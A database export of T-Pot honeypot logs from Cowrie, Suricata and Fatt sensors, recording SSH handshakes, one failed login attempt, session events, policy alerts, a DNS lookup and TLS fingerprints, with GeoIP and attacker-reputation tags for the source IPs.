30272	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:34:14.50343+03	2021-09-20 14:45:02.786142+03	{"_id": "xwb8AnwBvYTbRNuENDvE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9d500d7d21b0", "@version": "1", "timestamp": "2021-09-20T11:34:14.503430Z", "@timestamp": "2021-09-20T11:34:14.503Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30273	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:34:15.56906+03	2021-09-20 14:45:02.787142+03	{"_id": "yAb8AnwBvYTbRNuEODus", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [r/r] failed", "session": "9d500d7d21b0", "@version": "1", "password": "r", "username": "r", "timestamp": "2021-09-20T11:34:15.569060Z", "@timestamp": "2021-09-20T11:34:15.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30274	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:34:16.830703+03	2021-09-20 14:45:02.788142+03	{"_id": "ygb8AnwBvYTbRNuEPDuV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9d500d7d21b0", "@version": "1", "duration": 2.5794684886932373, "timestamp": "2021-09-20T11:34:16.830703Z", "@timestamp": "2021-09-20T11:34:16.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30275	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:34:18.711246+03	2021-09-20 14:45:02.789141+03	{"_id": "zAb8AnwBvYTbRNuEQjso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:18.618403+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 1675256049332131, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 45562, "timestamp": "2021-09-20T11:34:18.711246Z", "@timestamp": "2021-09-20T11:34:18.711Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30276	222.186.30.76	109.199.241.180	Suricata	2021-09-20 14:33:53.390598+03	2021-09-20 14:45:02.791141+03	{"_id": "iAb7AnwBvYTbRNuE4Dtz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:33:52.873208+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1209}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "222.186.30.76", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 885549000839928, "payload": "AAADVAUUc2gza948PV63RDL0J6lwHQAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAAVyWrNaQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43141, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:33:53.390598Z", "@timestamp": "2021-09-20T11:33:53.390Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..sh3k.<=^.D2.'.p.....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none...............j.i"}}	1	\N	\N	alert	known attacker	\N
30277	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:33:53.135825+03	2021-09-20 14:45:02.792142+03	{"_id": "igb7AnwBvYTbRNuE4TuF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "222.186.30.76", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43141, "timestamp": "2021-09-20T11:33:53.135825", "@timestamp": "2021-09-20T11:33:53.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30278	5.182.39.25	109.199.241.180	Suricata	2021-09-20 14:33:57.767271+03	2021-09-20 14:45:02.794142+03	{"_id": "kQb7AnwBvYTbRNuE8DsW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "OpenSSH_7.4"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:33:57.645694+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1807}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.182.39.25", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1805606157933118, "payload": "AAAF1AsUtd95sAdyaP4m+Qf4nXzFSAAAAUtjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE2LXNoYTUxMixkaWZmaWUtaGVsbG1hbi1ncm91cDE4LXNoYTUxMixkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGExLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMjU2LGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMSxleHQtaW5mby1jAAABR2VjZHNhLXNoYTItbmlzdHAyNTYtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDM4NC1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwNTIxLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWRzcy1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMjU2LGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDUyMSxzc2gtZWQyNTUxOSxyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAI1jaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMxMjgtY3RyLGFlczE5Mi1jdHIsYWVzMjU2LWN0cixhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1nY21Ab3BlbnNzaC5jb20sYWVzMTI4LWNiYyxhZXMxOTItY2JjLGFlczI1Ni1jYmMAAACNY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1jYmMsYWVzMTkyLWNiYyxhZXMyNTYtY2JjAAAA1XVtYWMtNjQtZXRtQG9wZW5zc2guY29tLHVtYWMtMTI4LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLHVtYWMtNjRAb3BlbnNzaC5jb20sdW1hYy0xMjhAb3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAANV1bWFjLTY0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMi1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGExLWV0bUBvcGVuc3NoLmNvbSx1bWFjLTY0QG9wZW5zc2guY29tLHVtYWMtMTI4QG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAaemxpYkBvcGVuc3NoLmNvbSx6bGliLG5vbmUAAAAaemw=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50980, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:33:57.767271Z", "@timestamp": "2021-09-20T11:33:57.767Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........y..rh.&....|.H...Kcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...Gecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss....chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc....chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....zlib@openssh.com,zlib,none....zl"}}	1	\N	\N	alert	\N	\N
30279	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:33:57.709758+03	2021-09-20 14:45:02.795142+03	{"_id": "kgb7AnwBvYTbRNuE8Tsn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.182.39.25", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50980, "timestamp": "2021-09-20T11:33:57.709758", "@timestamp": "2021-09-20T11:33:57.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30280	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:34:06.202549+03	2021-09-20 14:45:02.797142+03	{"_id": "pQb8AnwBvYTbRNuEEztB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 26531, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 600, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 592196292972505, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 58781, "timestamp": "2021-09-20T11:34:06.202549Z", "@timestamp": "2021-09-20T11:34:06.202Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30281	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:34:06.251509+03	2021-09-20 14:45:02.798142+03	{"_id": "pwb8AnwBvYTbRNuEFDtT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35382, "dest_port": 443, "timestamp": "2021-09-20T11:34:06.251509", "@timestamp": "2021-09-20T11:34:06.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30282	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:34:08.239786+03	2021-09-20 14:45:02.799142+03	{"_id": "rwb8AnwBvYTbRNuEGTtm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 157.245.53.4:47050 (192.168.176.2:22) [session: 722b1ad4fa39]", "session": "722b1ad4fa39", "@version": "1", "protocol": "ssh", "src_port": 47050, "dest_port": 22, "timestamp": "2021-09-20T11:34:08.239786Z", "@timestamp": "2021-09-20T11:34:08.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
30283	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:34:08.250895+03	2021-09-20 14:45:02.800142+03	{"_id": "sAb8AnwBvYTbRNuEGTtm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh2_1.9.0'", "session": "722b1ad4fa39", "version": "b'SSH-2.0-libssh2_1.9.0'", "@version": "1", "timestamp": "2021-09-20T11:34:08.250895Z", "@timestamp": "2021-09-20T11:34:08.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
